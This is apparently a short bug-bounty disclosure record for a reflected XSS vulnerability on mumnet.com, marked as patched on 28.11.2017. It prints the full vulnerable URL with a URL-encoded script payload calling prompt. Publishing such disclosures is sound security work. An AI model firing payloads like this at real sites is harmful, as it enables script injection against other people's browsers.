mumnet.com XSS vulnerability

Vulnerable URL: https://www.mumnet.com/fileadmin/skripte/job/jobs.php?=0=%22%3E%3Csvg%3E%3Cscript%3E/%3C@/%3Eprompt/OPENBUGBOUNTY/%3C/script%3E=job-145 Details: Description| Value ---|--- Patched:| Yes, at 28.11.2017 Latest check for patch:| 28.11.2017 14:01 GMT Vulnerability type:| XSS...